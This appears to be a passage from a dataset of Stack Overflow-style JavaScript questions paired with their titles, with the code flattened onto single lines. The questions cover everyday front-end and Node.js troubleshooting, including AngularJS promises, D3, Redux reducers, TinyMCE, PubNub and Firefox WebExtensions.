this.filter ( fn ) [ 0 ] ; } ; var Enumerable = ( function ( ) { function Enumerable ( array ) { this.array = array ; } Enumerable.prototype.first = function ( fn ) { return this.array.filter ( fn ) [ 0 ] ; } ; return Enumerable ; } ( ) ) ; var Collection = { Enumerable : function ( ) { ... } } ;",Extending JavaScript 's built-in types - is it evil ? "JS : The patterns of promises usage still confuse me.For example , in Angular application , I have a service usersService with method emailExists ( email ) . Obviously , it performs request to the server to check whether given email already exists.It feels natural for me to make the method emailExists ( email ) to return promise that in normal operation resolves to either true or false . If only we have some unexpected error ( say , server returned 500 : internal server error , then promise should be rejected , but in normal operation , it is resolved to corresponding boolean value.Hovewer , when I started implementing my async validator directive ( by $ asyncValidators ) , I see that it wants resolved/rejected promise . So , by now , I ended up with this rather ugly code : It makes me think that I should modify my service so that it returns resolved/rejected promise instead . But , it feels a kind of unnatural for me : in my opinion , rejected promise means `` we ca n't get result '' , not `` negative result '' .Or , do I misunderstand the promise usage ? Or , should I provide two methods ? What is the common pattern to name them ? Any help is appreciated . 'use strict ' ; ( function ( ) { angular.module ( 'users ' ) .directive ( 'emailExistsValidator ' , emailExistsValidator ) ; emailExistsValidator. $ inject = [ ' $ q ' , 'usersService ' ] ; function emailExistsValidator ( $ q , usersService ) { return { require : 'ngModel ' , link : function ( scope , element , attrs , ngModel ) { ngModel. $ asyncValidators.emailExists = function ( modelValue , viewValue ) { return usersService.emailExists ( viewValue ) .then ( function ( email_exists ) { // instead of just returning ! email_exists , // we have to perform conversion from true/false // to resolved/rejected promise if ( ! email_exists ) { // -- email does not exist , so , return resolved promise return $ q.when ( ) ; } else { // -- email already exists , so , return rejected promise return $ q.reject ( ) ; } } ) ; } ; } } } ; } ) ( ) ;","AngularJS : Should service 's boolean method return promise that resolves to true/false , or that gets resolved/rejected ?" "JS : jpm version is 1.1.3npm version is 2.15.8Node version is 4.4.7Firefox version is 48.0 Content of index.js : Output of `` jpm run '' commandAs per the content of the index.js file , a line of * symbols should be output on the console . But , the desire output is not in the console . Is there any problem with the code ? Content of my package.json file : var self = require ( `` sdk/self '' ) ; console.log ( `` ************************************ '' ) ; JPM [ info ] Starting jpm run on My Jetpack Addon JPM [ info ] Creating a new profile { `` title '' : `` My Jetpack Addon '' , `` name '' : `` temp '' , `` version '' : `` 0.0.1 '' , `` description '' : `` A basic add-on '' , `` main '' : `` index.js '' , `` author '' : `` '' , `` engines '' : { `` firefox '' : `` > =38.0a1 '' , `` fennec '' : `` > =38.0a1 '' } , `` license '' : `` MIT '' , `` keywords '' : [ `` jetpack '' ] }","jpm run does NOT work with Firefox 48 , or later" "JS : I 'm working on an application , that displays numbers according to the user 's configuration . Everything works as expected , except when I try with numbers less than 10000 , in Chrome , with the following locale : `` es-AR '' . Any ideas ? Chrome : Firefox : Edge : console.log ( ( 10000 ) .toLocaleString ( `` es-AR '' ) ) ; console.log ( ( 9999 ) .toLocaleString ( `` es-AR '' ) ) ; console.log ( ( 9999 ) .toLocaleString ( `` en-US '' ) ) ;",toLocaleString not working on numbers less than 10000 in all browsers "JS : I have a page on my website that I am making a call to using a jQuery ajax call . It loads in a div . But whenever I the page is loaded , it loses the snytax highlighting that it should be displaying . Ex : It works on the initial page load if I have something in awesomeo but if a page is loaded via AJAX into the div , the syntax disappears . EDIT : The following is the code that is in the header : This is from : http : //alexgorbatchev.com/wiki/SyntaxHighlighter That is all that is used for syntax highlighting ... Suggestions ? < html > < head > < ! -- syntax highlighting script -- > < script type= '' text/javascript '' src= '' syntaxhighlighter.js '' > < /script > < /head > < body > < ! -- div that displays ajax page cal -- > < div id= '' awesomeo '' > < /div > < /body > < /html > < script type= '' text/javascript '' src= '' /scripts/shCore.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushBash.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushCpp.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushCSharp.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushCss.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushJava.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushJScript.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushPhp.js '' > < /script > < script type= '' text/javascript '' src= '' /scripts/shBrushPlain.js '' > < /script > < link type= '' text/css '' rel= '' stylesheet '' href= '' /styles/shCore.css '' / > < link type= '' text/css '' rel= '' stylesheet '' href= '' /styles/shThemeDefault.css '' / > < script type= '' text/javascript '' > SyntaxHighlighter.config.clipboardSwf = '/scripts/clipboard.swf ' ; SyntaxHighlighter.all ( ) ; < /script >",Javascript Syntaxhighlighting lost when AJAX call is made "JS : Within a SharePoint form overriden by CSR ( Client Side Rendering ) .I tried adding a new button which does pretty much the same as the Save button except that it redirects to another form with given parameters.The thing is , the redirection does not work.I tried redirecting by changing the `` action '' property of the form but it does n't seem to be taken in count.Here is the new button : < input id= '' custom_addLine '' type= '' button '' name= '' custom_addLine '' value= '' + '' class= '' ms-ButtonHeightWidth '' > Here is the function called by the button and the addLine method following : getQueryStringParameter is a custom made function to retrieve parameters from URI ( which works ) .The tricky part is that I want to preserve the default action URI in case the original Save button is clicked on , which is why action parameter is modified on the fly . $ ( ' # custom_addLine ' ) .click ( function ( event ) { event.preventDefault ( ) ; addLine ( getQueryStringParameter ( 'ID ' ) ) ; } ) ; function addLine ( id ) { if ( ! PreSaveItem ( ) ) { return false ; } var actionUrl = `` /Lists/PurchaseRequestLine/NewForm.aspx ? PurchaseRequestID= '' + id ; var encodedActionUrl = encodeURIComponent ( actionUrl ) ; var newFormAction = location.pathname + ' ? Source= ' + encodedActionUrl ; $ ( ' # aspnetForm ' ) .attr ( 'action ' , newFormAction ) ; if ( SPClientForms.ClientFormManager.SubmitClientForm ( 'WPQ1 ' ) ) { return false ; } WebForm_DoPostBackWithOptions ( new WebForm_PostBackOptions ( 'custom_addLine ' , `` '' , true , `` '' , `` '' , false , true ) ) ; }",Redirect after form Submit ( CSR ) "JS : I 'm trying to make a HTTPS request-promise . I already know that the PFX is good and that is not the issue ( I have a similar sample app working ) .I am doing the following : ... I am passing my options into an request.I then try to build the request I get the following error : I have a sample app where the same code works . I 've tried to convert to .p12 without success.Does anyone have an idea what this error might refer to ? Edit : I 'm using lodash to do a merge of 2 objects with dinamic properties and static propertiesAnd that was causing the problem var request = require ( 'request-promise ' ) ; options.pfx = fs.readFileSync ( 'myfile.pfx ' ) ; options.passphrase = 'passphrase ' ; request.post ( options ) ; _tls_common.js:130 c.context.loadPKCS12 ( pfx , passphrase ) ; ^Error : Unable to load BIOat Error ( native ) at Object.createSecureContext ( _tls_common.js:130:17 ) at Object.exports.connect ( _tls_wrap.js:955:21 ) at Agent.createConnection ( https.js:73:22 ) at Agent.createSocket ( _http_agent.js:174:16 ) at Agent.addRequest ( _http_agent.js:143:23 ) at new ClientRequest ( _http_client.js:133:16 ) at Object.exports.request ( http.js:31:10 ) at Object.exports.request ( https.js:163:15 ) at Request.start ( /Users/filomeno/workspace/sla-crawler/node_modules/request/request.js:747:30 ) at Request.write ( /Users/filomeno/workspace/sla-crawler/node_modules/request/request.js:1369:10 ) at end ( /Users/filomeno/workspace/sla-crawler/node_modules/request/request.js:561:16 ) at Immediate._onImmediate ( /Users/filomeno/workspace/sla-crawler/node_modules/request/request.js:589:7 ) at processImmediate [ as _immediateCallback ] ( timers.js:374:17 ) _.merge ( options , _this.requestOptions ) ;",Node.js - HTTPS PFX Error : Unable to load BIO "JS : I am using clndr.js ( http : //kylestetz.github.io/CLNDR/ ) to display dates that a holiday cottage is booked for . These are always shown using the multi-day event system as the minimum booking is 3 days . I now need to style the first and last days of the event differently , to show they are changeover days . Ideally I would do this by adding a class to the td . This is what I have so far : JSExample JSONHTML / UnderscoreI am struggling to work out how to target those first and last days to apply some different styling . I am using moment.js as well if that can be used . Help greatly appreciated ! $ ( ' # calendar ' ) .clndr ( { template : $ ( ' # calendar-template ' ) .html ( ) , weekOffset : 1 , daysOfTheWeek : [ 'Sun ' , 'Mon ' , 'Tue ' , 'Wed ' , 'Thu ' , 'Fri ' , 'Sat ' ] , targets : { nextButton : 'clndr-next ' , previousButton : 'clndr-previous ' } , multiDayEvents : { startDate : 'start ' , endDate : 'end ' } , events : events , clickEvents : { click : function ( target ) { //alert ( target ) ; } } } ) ; var events = [ { start : '2016-05-29T00:00:00+00:00 ' , end : '2016-06-01T00:00:00+00:00 ' , title : 'Mrs A N Human ' , } , { start : '2016-08-10T00:00:00+00:00 ' , end : '2016-08-17T00:00:00+00:00 ' , title : 'Mr A Person ' , } ] ; < div id= '' calendar '' > < script type= '' text/template '' id= '' calendar-template '' > < table class= '' table '' > < thead > < tr > < th class='clndr-previous ' > & lt ; < /th > < th colspan= '' 5 '' > < % = month % > < % = year % > < /th > < th class='clndr-next ' > & gt ; < /th > < /tr > < tr > < % _.each ( daysOfTheWeek , function ( day ) { % > < th class= '' header-day '' > < % = day % > < /th > < % } ) ; % > < /tr > < /thead > < tbody > < tr class= '' days '' > < % _.each ( days , function ( day , index ) { % > < td class= '' < % = day.classes % > '' id= '' < % = day.id % > '' > < span class= '' day-number '' > < % = day.day % > < /span > < /td > < % if ( ( index + 1 ) % 7 == 0 ) { % > < /tr > < tr > < % } % > < % } ) ; % > < /tr > < /tbody > < /table > < /script > < /div >",Styling first and last days of CLNDR.js calendar multi-day events "JS : I ’ m new to reactive programming and toying around with cycle.js , trying to implement who to follow box from this tutorial . But I understood that for proper implementation ( and learning purposes ) I don ’ t have one piece of data : full user name . I can get it by sequentially getting users and then full user data from server . In imperative style I would do something like this : But how do I do it in cycle ? I ’ m using fetch driver and trying something like this : where getJSON isAnd I ’ m always getting some cryptic ( for me ) error like : TypeError : Already read . What does it mean and how do I handle it properly ? fetch ( ` https : //api.github.com/users ` ) .then ( data = > data.json ( ) ) .then ( users = > fetch ( users [ 0 ] .url ) ) .then ( data = > data.json ( ) ) .then ( /* ... work with data ... */ ) function main ( { DOM , HTTP } ) { const users = ` https : //api.github.com/users ` ; const refresh $ = DOM.select ( ` .refresh ` ) .events ( ` click ` ) const response $ = getJSON ( { key : ` users ` } , HTTP ) const userUrl $ = response $ .map ( users = > ( { url : R.prop ( ` url ` , R.head ( users ) ) , key : ` user ` , } ) ) .startWith ( null ) const request $ = refresh $ .startWith ( ` initial ` ) .map ( _ = > ( { url : ` $ { users } ? since= $ { random ( 500 ) } ` , key : ` users ` , } ) ) .merge ( userUrl $ ) const dom $ = ... return { DOM : dom $ , HTTP : request $ , } ; } function getJSON ( by , requests $ ) { const type = capitalize ( firstKey ( by ) ) ; return requests $ [ ` by $ { type } ` ] ( firstVal ( by ) ) .mergeAll ( ) .flatMap ( res = > res.json ( ) ) ;",How to request data sequentially in Cycle.js ? "JS : I 'm not strong on frontend development but I have toyed around with a lot of Javascript and D3 recently . Being used to doing scientific analysis in Python using Jupyter Notebooks , I figured it should be possible to use a similar workflow for developing scientific visualizations with D3 using JS code in a Jupiter notebook with a JS kernel . I 've looked at n-riesco 's IJavascript project and it seems promising , but when trying to import D3 the notebook throws an error : throwsI 'm guessing this is because there is no DOM in the Jupyter environment ( because Mike Bostock says so ) . In fact if I import jsdom , D3 will also import successfully . Awesome ! However , now , I can not select anything because , well ... I 'm guessing because there is nothing to select in the Jupyter environment.The things I would like to do is either something like : Or ( less cool but also favorable ) , get a reference to the DOM of some local server , that I can then manipulate by executing code in the notebook.UpdateWith the introduction of Observable , there is no longer any need to use JavaScript in Jupyter notebooks . Observable is an awesome JavaScript notebook environment that can pretty much do everything . For example , the thing I wanted to do when I asked this question , can be done as simply as : // npm install d3var d3 = require ( 'd3 ' ) ; ReferenceError : document is not defined $ $ svg $ $ = `` < svg > < rect width=1000 height=1000/ > < /svg > '' ; var svg = d3.select ( `` svg '' ) // Beautiful D3 code","How to output SVG in a Jupyter notebook using jsdom , D3 and IJavascript" "JS : I would like to execute a few lines of js every time turbolinks is loaded ( i.e , the page is loaded ) , not the js from cache , but would like to force run it before the event of turbolinks load , every time . Is that possible ? I 'm trying to get rid of FOUC here , by hiding the html body and doing this in app.js.coffeeBut the FOUC starts kicking in after the 3rd or 4th time of reloading the page.To see this live in action , here is a link to the website . $ ( document ) .on 'turbolinks : load ' , - > document.body.style.visibility = 'visible '",Execute JS every time on the event of turbolinks load in Rails 5 app "JS : I was reading this question about read-only properties , and I came upon this snippet : Now , I know to hide the scope , you can use an IIFE , to also make a variable or property `` private '' , but what I do n't understand is : Why is assignment allowed , and if it 's allowed , how can nothing happen ? In this snippet there is no inferred scope , so I do n't understand how something in JS can infer a private property . var myObject = { get readOnlyProperty ( ) { return 42 ; } } ; alert ( myObject.readOnlyProperty ) ; // 42myObject.readOnlyProperty = 5 ; // Assignment is allowed , but does n't do anythingalert ( myObject.readOnlyProperty ) ; // 42",Object Read-Only Properties "JS : I have some javaScript Classes ( ctor+prototype methods ) that I want their instances to be able to emit evnets.so that the code using this class could so something like : I am working in a JQUery environment and for UI elements I am using .trigger and .on which works great for me , I was wandering what would be the best way to implement the same feel with respect to regular objects.I am thinking of either setting a map of $ .Callbacks ( ) objects based on the custom event name , and adding .on and .trigger to by object 's prototype Or maybe I can just hold an eventsPoint instance variable initialized to an empty $ ( ) and wire up the .on and .trigger methods from the prototype to this eventsPoint object.Any other / better ideas ? var instance=new SomeObject ( ) ; instance.on ( 'customEventName ' , function ( event ) { do_stuff ( ) }",Using Jquery to allow events on regular JS Objects "JS : I am trying to make SVG rectangle around SVG text . When i want to use .width ( ) or .height ( ) on SVG text , Chrome returns what I expect but Firefox does not . Here is link to jsfiddle demo I made.htmlcss $ ( document ) .ready ( function ( ) { var $ rect = $ ( document.createElementNS ( 'http : //www.w3.org/2000/svg ' , 'rect ' ) ) ; var x = 50 ; var y = 50 ; var fontSize = 10 ; $ rect.attr ( { ' x ' : x , ' y ' : y , 'stroke ' : 'black ' , 'stroke-width ' : 1 , 'fill ' : 'white ' } ) ; $ rect.appendTo ( $ ( `` # svgArea '' ) ) ; var $ svgText = $ ( document.createElementNS ( 'http : //www.w3.org/2000/svg ' , 'text ' ) ) ; $ svgText.attr ( { ' x ' : x , ' y ' : y , 'font-family ' : 'verdana ' , 'font-weight ' : 'bold ' , 'font-size ' : fontSize } ) ; var node = document.createTextNode ( `` Lorem Ipsum '' ) ; $ svgText.append ( node ) ; $ svgText.appendTo ( $ ( `` # svgArea '' ) ) ; var textWidth = $ svgText.width ( ) ; var textHeight = $ svgText.height ( ) ; $ rect.attr ( { ' x ' : x , ' y ' : y - textHeight + 3 , 'width ' : textWidth + 2 , 'height ' : textHeight } ) ; } ) ; < svg height= '' 200px '' width= '' 200px '' id= '' svgArea '' > < /svg > # svgArea { border : 1px solid black ; }",JQuery width and height not working on svg in firefox "JS : I am using Ace for my in browser text editor.From clientX clientY coordinates i need actual row and column number on the editor.Looking at Ace api but cant find anything related.Do you know any way i can achieve this ? Thanks editor.on ( `` mousemove '' , function ( e ) { // use clientX clientY to get row and column locations } ) ;",Get row and column number from mouse coordinates "JS : I have a react preset , and I want to pass pragma params to transform-react-jsx.For now I ’ m installing transform-react-jsx separatly and set my .babelrc like so : But I wonder if there is another way to pass settings to plugins in presets . { `` presets '' : [ `` react '' ] , `` plugins '' : [ [ `` transform-react-jsx '' , { `` pragma '' : `` dom.hJSX '' } ] ] }",How to pass params to plugins in presets in babel 6 ? "JS : I 'm learning about JS/JQuery and anonymous functions and closures . I 've seen examples like this : If there is more than one button , is n't that inefficient ? Is n't that just storing similar copies of an anonymous function 's prototype in memory ? ( correct my terminology ) Is n't it better to do this : Or even this , if a reference to the button is needed : $ ( '.button ' ) .click ( function ( ) { /* Animations */ /* Other Stuff */ } ) ; function handleClick ( ) { /* Animations */ /* Other Stuff */ } ( '.button ' ) .click ( handleClick ) ; function handleClick ( $ obj ) { /* Animations */ /* Other Stuff */ } //multiple anon functions again , but they all reference ONE handleClick function ( '.button ' ) .click ( ( function ( $ obj ) { return function ( ) { handleClick ( $ obj ) } ; } ) ( $ ( this ) ) ;",Memory overhead of anonymous functions vs named functions when used as Jquery callbacks "JS : Can someone explain to me use of Me.prototype.constructor = Me ; and why is needed , when this code is working and without it ? In code prototype object is created on Me object and it is instantiated and replaced old prototype object . Why do I need to point to Me constructor in a given up code ? function Me ( ) { this.name = 'Dejan ' ; } function You ( ) { this.name = 'Ivan ' ; } Me.prototype = new You ( ) ; somebody = new Me ( ) ; Me.prototype.constructor = Me ; // Why ? Me.prototype.foo = function ( ) { alert ( 'Proto Me ! ' ) ; // It always fire up this alert , ether constructor is pointing to Me or not ... ! } You.prototype.foo = function ( ) { alert ( 'Proto You ! ' ) ; } somebody.foo ( ) ; alert ( somebody.name ) ; // Alert 'Dejan '",Use of prototype constructor in JS "JS : I 'm trying to take the contents of a canvas element ( which really is just an image loaded onto the canvas ) and distort them into different map projections using d3 . So for I 've found exactly one example that does this ( this other SO question ) .The problem is that it does n't work with every projection . The code : In the above example , if I set the scale of the projection too low ( say 80 ) , then the variable p ( in the for loop ) ends up being null . I 'm not sure why this happens and I need to set the scale so that the projection fits within the canvas area.A working jsfiddle example : http : //jsfiddle.net/vjnfyd8t/ var height = 375 , width = 750 ; var canvas = document.createElement ( 'canvas ' ) ; document.body.appendChild ( canvas ) ; canvas.width = width ; canvas.height = height ; var context = canvas.getContext ( '2d ' ) ; var projection = d3.geo.lagrange ( ) .translate ( [ width/2 , height/2 ] ) .scale ( 100 ) ; //SET SCALE HEREvar path = d3.geo.path ( ) .projection ( projection ) ; var image = new Image ( ) ; image.crossOrigin = 'anonymous ' ; image.src = 'http : //i.imgur.com/zZkxbz7.png ' ; image.onload = function ( ) { var dx = width , dy = height ; context.drawImage ( image , 0 , 0 , dx , dy ) ; var sourceData = context.getImageData ( 0 , 0 , dx , dy ) .data , target = context.createImageData ( dx , dy ) , targetData = target.data ; for ( var y = 0 , i = -1 ; y < height ; ++y ) { for ( var x = 0 ; x < width ; ++x ) { var p = projection.invert ( [ x , y ] ) , //ERROR HERE λ = p [ 0 ] , φ = p [ 1 ] ; if ( λ > 180 || λ < -180 || φ > 90 || φ < -90 ) { i += 4 ; continue ; } var q = ( ( 90 - φ ) / 180 * dy | 0 ) * dx + ( ( 180 + λ ) / 360 * dx | 0 ) < < 2 ; targetData [ ++i ] = sourceData [ q ] ; targetData [ ++i ] = sourceData [ ++q ] ; targetData [ ++i ] = sourceData [ ++q ] ; targetData [ ++i ] = 255 ; } } context.clearRect ( 0 , 0 , width , height ) ; context.putImageData ( target , 0 , 0 ) ; }",D3.js map projections on a canvas image "JS : From a database I 'm pulling a kind of timeline of Div 's with a certain starting point and certain end point . Some of them overlap , some of them can be fitted next to each other . Ultimately I want to slide them together so that it 's as compact as possible like this : I 'm doubting how to approach this challenge : through a server side ( php ) script or with some javascript floating script thingy . Or off course a completely different approachCould some one push me in the right direction ? Edit : : It 's important , as it 's a timeline , that the horizontal position of the div 's remain the same . So floating all the divs to the left or inline-block them is no option : ) My database setup : id | name | start | end 1 | a | 2 | 7 2 | b | 5 | 10 etc",Vertically align div 's but keeping horizontal position intact JS : Is there a click listener for the select tag ? How do I trigger the select tag and show the dropdown box ? Like this here function myFunction ( obj ) { var dropdown= document.getElementById ( `` dropdown '' ) ; dropdown.click ( ) ; ? ? ? } < div class= '' dropdown '' > < input type= '' text '' onkeyup= '' myFunction ( ) '' / > < select id= '' dropdown '' onchange= '' this.previousElementSibling.value=this.value ; this.previousElementSibling.focus ( ) '' > < option > 1 < /option > < option > 2 < /option > < option > 3 < /option > < /select > < /div >,How to show the drop down box when something is typed in the text field JS : I would very much like to combine an item-input-inset with an ion-toggle instead of the button - so the user can choose to disable the input field . What I want is something like this : I do wish to connect the text input to a model so I always have a variable that is Not Applicable or some other string that the user entered ( or empty ) .But my first problems has been the layout that seems to mess up . This is how far I got : gives the following messed up layout < div class= '' item item-input-inset '' > < label class= '' item-input-wrapper '' > < input type= '' text '' placeholder= '' Text input '' > < /label > < ion-toggle > < /ion-toggle > < /div > < /div >,ionic input insert with ion-toggle instead of button "JS : Task : using R and shinydashboard , embed a custom Javascript-generated plot in the dashboard body . Specify width of the plot as percentage , so that the plot occupies its column ( or box ) regardless of viewer 's screen setup . Setup : R ( 3.5.2 ) , shiny ( 1.2.0 ) and shinydashboard ( 0.7.1 ) . The dashboard code ( simplified reproducible example ) is as follows : The respective Javascript file myscript.js , which is to be placed in the www subfolder relative to the app file itself , is as follows : Problem : for some reason , the 100 % specification gets converted to 100px in the final result , producing this output : Inspecting the plot I see that div # main has indeed the width of 100 % , but then it contains another , smaller div , which is already 100px wide : To me , it would seem that either tabItem or tabItems are at fault , because without using them the outcome is correct , and that smaller intermediary div takes its width from its parent correctly : For completeness , the code for the working version ( without tabItem ( s ) ) is this : As you can see , the code is almost identical , aside from the offending functions . I do n't see however how a shinydashboard could possibly work without these functions , as they structure the whole application . Is there any workaround you can think of ? Thanks . library ( shiny ) library ( shinydashboard ) ui < - fluidPage ( dashboardPage ( dashboardHeader ( ) , dashboardSidebar ( sidebarMenu ( menuItem ( `` Main '' , tabName = `` tab1 '' , icon = icon ( `` dashboard '' ) ) ) ) , dashboardBody ( tabItems ( tabItem ( `` tab1 '' , column ( width = 12 , tags $ div ( id = `` main '' , style = `` width : 100 % ; height : 400px '' ) , tags $ script ( src = `` http : //cdnjs.cloudflare.com/ajax/libs/echarts/4.1.0/echarts.min.js '' ) , tags $ script ( src = `` myscript.js '' ) ) ) ) ) ) ) server < - function ( input , output ) { } # Run the application shinyApp ( ui = ui , server = server ) // JS Plot with Echarts 4option = { xAxis : { type : 'category ' , data : [ 'Mon ' , 'Tue ' , 'Wed ' , 'Thu ' , 'Fri ' , 'Sat ' , 'Sun ' ] } , yAxis : { type : 'value ' } , series : [ { data : [ 820 , 932 , 901 , 934 , 1290 , 1330 , 1320 ] , type : 'line ' } ] } ; var myChart = echarts.init ( document.getElementById ( 'main ' ) ) ; myChart.setOption ( option ) ; library ( shiny ) library ( shinydashboard ) ui < - fluidPage ( dashboardPage ( dashboardHeader ( ) , dashboardSidebar ( ) , dashboardBody ( column ( width = 12 , tags $ div ( id = `` main '' , style = `` width : 100 % ; height : 400px '' ) , tags $ script ( src = `` http : //cdnjs.cloudflare.com/ajax/libs/echarts/4.1.0/echarts.min.js '' ) , tags $ script ( src = `` myscript.js '' ) ) ) ) ) server < - function ( input , output ) { } # Run the application shinyApp ( ui = ui , server = server )",R shinydashboard : specifying div style width argument as percentage to fit a resizeable JS plot "JS : I 've been working on my own personal JavaScript library for a while now , and it works fine . But I 've been wondering about the jQuery return object.Lets say you have a few divs in your DOM and you select them with $ ( `` div '' ) jquery actually returns the selected nodes ( as an object/array ? ) in the console log and you can mouse-over them to see where they are in the documents.My object actually returns the entire object itself , so if you call kj ( `` div '' ) ( Where kj is my object name ) it shows up like this in the console log : My question is , how can I make it return something like jQuery ? Thanks in advance . > kj > elements : Array [ 10 ] > length : 10 > more stuff",What object does jquery return exactly ? "JS : I 'm looking at this Redux tutorial where the following reducer is being discussed : What it does it clear , however I do n't get why it does the state.concat / state.map to duplicate the state instead of working on it directly . I understand it 's to achieve immutability , but , technically , what could go wrong if I change the code from this : to this : The state that was passed to the reducer is obsolete anyway , so whether it has been changed or not it must not be used anywhere ( and if I 'm not mistaken that 's indeed what Redux is doing - it ignores the previous state and takes the new one as the `` source of truth '' ) . So only the new state returned by the function should matter.So if I follow this approach of modifying the state directly in the reducer and returning this , what bug could that create in my application ? Any idea ? function visibilityFilter ( state = 'SHOW_ALL ' , action ) { return action.type === 'SET_VISIBILITY_FILTER ' ? action.filter : state } function todos ( state = [ ] , action ) { switch ( action.type ) { case 'ADD_TODO ' : return state.concat ( [ { text : action.text , completed : false } ] ) ; case 'TOGGLE_TODO ' : return state.map ( ( todo , index ) = > action.index === index ? { text : todo.text , completed : ! todo.completed } : todo ) default : return state ; } } function todoApp ( state = { } , action ) { return { todos : todos ( state.todos , action ) , visibilityFilter : visibilityFilter ( state.visibilityFilter , action ) } ; } return state.map ( ( todo , index ) = > action.index === index ? { text : todo.text , completed : ! todo.completed } : todo ) state [ action.index ] .completed = ! state [ action.index ] .completed ; return state ;",What could happen if modifying state directly inside a Redux reducer ? "JS : I know that in JavaScript sometimes the system creates a fake array , meaning it is actually an object and not an instance of Array , but still has part of the functionality of an array . For example , the arguments variable you get inside functions is a fake array created by the system . In this case I know that to turn it into a real array you can do : But what if the fake array was n't created by the system , what if fakeArray was simply : In this case , and I tested it , using the method above will result in an empty array . The thing I want to be able to turn a fake array like in the example I gave ( created by me and not by the system ) into a real array . And before you tell me to simply make the fake array a real array from the beginning , you should know that I get the fake array from a resource which I have no control of.So , how do I turn a fake array not created by the system into a real array ? var realArray = Array.prototype.slice.call ( fakeArray ) ; var fakeArray = { `` 0 '' : `` some value '' , `` 1 '' : `` another value '' } ;",Turn a fake array created by me into a real array in JavaScript "JS : I wanted to add a trigger button to upload image as a data . So I added the following piece of codeThis is working as expected . I am getting a file picker for the image as belowBut I am also getting this file picker when I try to add link as well.How to avoid this ? < textarea id= '' test '' > < /textarea > < input name= '' image '' type= '' file '' id= '' test-upload '' class= '' hidden '' onchange= '' '' > tinymce.init ( { selector : ' # test ' , ... , paste_data_images : true , image_advtab : true , file_picker_callback : function ( callback , value , meta ) { if ( meta.filetype == 'image ' ) { jQuery ( ' # test-upload ' ) .trigger ( 'click ' ) ; jQuery ( ' # test-upload ' ) .on ( 'change ' , function ( ) { var file = this.files [ 0 ] ; var reader = new FileReader ( ) ; reader.onload = function ( e : any ) { callback ( e.target.result , { alt : `` } ) ; } ; reader.readAsDataURL ( file ) ; } ) ; } } , ... } ) ;",Tinymce adding file picker button for adding links "JS : when receiving a message from pubnub , there is no information on the sender . how to know if it 's a message from visitorA or visitorB ? there are examples on the web where the sender sends his name with the message , but how to know he is n't spoofing someone else 's identity ? here is an example of a chat interface : < html > < body > < form id= '' message_form '' > < input id= '' message_input '' type= '' text '' / > < /form > < div id= '' chat '' > < /div > < script src= '' http : //cdn.pubnub.com/pubnub-3.7.1.min.js '' > < /script > < script > var pubnub = PUBNUB.init ( { publish_key : 'demo ' , subscribe_key : 'demo ' } ) ; pubnub.subscribe ( { channel : 'chat ' , message : function ( message ) { var div = document.createElement ( `` div '' ) ; div.textContent = message ; var chat = document.getElementById ( `` chat '' ) ; chat.appendChild ( div ) ; } } ) ; var form = document.getElementById ( `` message_form '' ) ; form.onsubmit = function ( e ) { var input = document.getElementById ( `` message_input '' ) ; pubnub.publish ( { channel : 'chat ' , message : input.value } ) ; input.value = `` ; e.preventDefault ( ) ; } ; < /script > < /body > < /html >","pubnub , how to identify the sender ?" "JS : Considering MDN 's Object.create polyfill : Focusing particularly on these two lines : I was wondering , why is n't it appropriate to set F.prototype.constructor = F ; ? if ( typeof Object.create ! = 'function ' ) { ( function ( ) { var F = function ( ) { } ; Object.create = function ( o ) { if ( arguments.length > 1 ) { throw Error ( 'Second argument not supported ' ) ; } if ( o === null ) { throw Error ( ' Can not set a null [ [ Prototype ] ] ' ) ; } if ( typeof o ! = 'object ' ) { throw TypeError ( 'Argument must be an object ' ) ; } F.prototype = o ; return new F ( ) ; } ; } ) ( ) ; } F.prototype = o ; return new F ( ) ; F.prototype = o ; F.prototype.constructor = F ; // why not ? return new F ( ) ;",Why does n't MDN 's ` Object.create ` polyfill set ` prototype.constructor ` ? "JS : I 'm trying to add a context menu to my firefox add-on using the WebExtensions API . I need the background script to listen to a click on the menu item and send a message to the content script.This is what I have : manifest.jsonbackground-scripts.jscontent-script.jsThe menu item is being created , but the messages are never displayed ( I 'm checking both the Web and Browser Console ) . Since the click event is not working , the message is not sent either.I 'm following this example from MDN , which does not work . It also creates the menu items , but they do nothing , which makes me think that something changed in the API and MDN did n't bother to update the documentation.Any ideas ? Thanks . { `` manifest_version '' : 2 , `` name '' : `` MyExt '' , `` version '' : `` 0.0.1 '' , `` description '' : `` Test extension '' , `` icons '' : { `` 48 '' : `` icons/icon-48.png '' } , `` applications '' : { `` gecko '' : { `` id '' : `` myext @ local '' , `` strict_min_version '' : `` 45.0 '' } } , `` permissions '' : [ `` contextMenus '' ] , `` background '' : { `` scripts '' : [ `` background-scripts.js '' ] } , `` content_scripts '' : [ { `` matches '' : [ `` < all_urls > '' ] , `` js '' : [ `` content-script.js '' ] } ] } chrome.contextMenus.create ( { id : `` clickme '' , title : `` Click me ! `` , contexts : [ `` all '' ] } ) ; browser.contextMenus.onClicked.addListener ( function ( info , tab ) { console.log ( `` Hello World ! `` ) ; sendMessage ( info , tab ) ; } ) ; function sendMessage ( info , tab ) { chrome.tabs.query ( { active : true , currentWindow : true } , function ( tabs ) { chrome.tabs.sendMessage ( tabs [ 0 ] .id , `` Test message from background script . `` ) ; } ) ; } browser.runtime.onMessage.addListener ( function ( msg ) { console.log ( msg ) ; } ) ;",Context menus not working firefox add-on WebExtensions "JS : In meteor I can read a file like this : Now i want to iterate through a folder , and read all the available json files . What would be the best way to do this without installing extra NPM packages.Thank you for your time . myjson = JSON.parse ( Assets.getText ( `` lib/myfile.json '' ) )",iterate through directory with Assets.getText "JS : I am trying to dispatch an action . I found working examples for some actions , but not as complex as mine.Would you give me a hint ? What am I doing wrong ? I am using TypeScript and have recently removed all typings and simplified my code as much as possible.I am using redux-thunk and redux-promise , like this : Component - Foo Component : Action - actionFoo : Action - AuthCall : Action - ApiCall : import { save } from 'redux-localstorage-simple ' ; import thunkMiddleware from 'redux-thunk ' ; import promiseMiddleware from 'redux-promise ' ; const middlewares = [ save ( ) , thunkMiddleware , promiseMiddleware , ] ; const store = createStore ( rootReducer ( appReducer ) , initialState , compose ( applyMiddleware ( ... middlewares ) , window [ 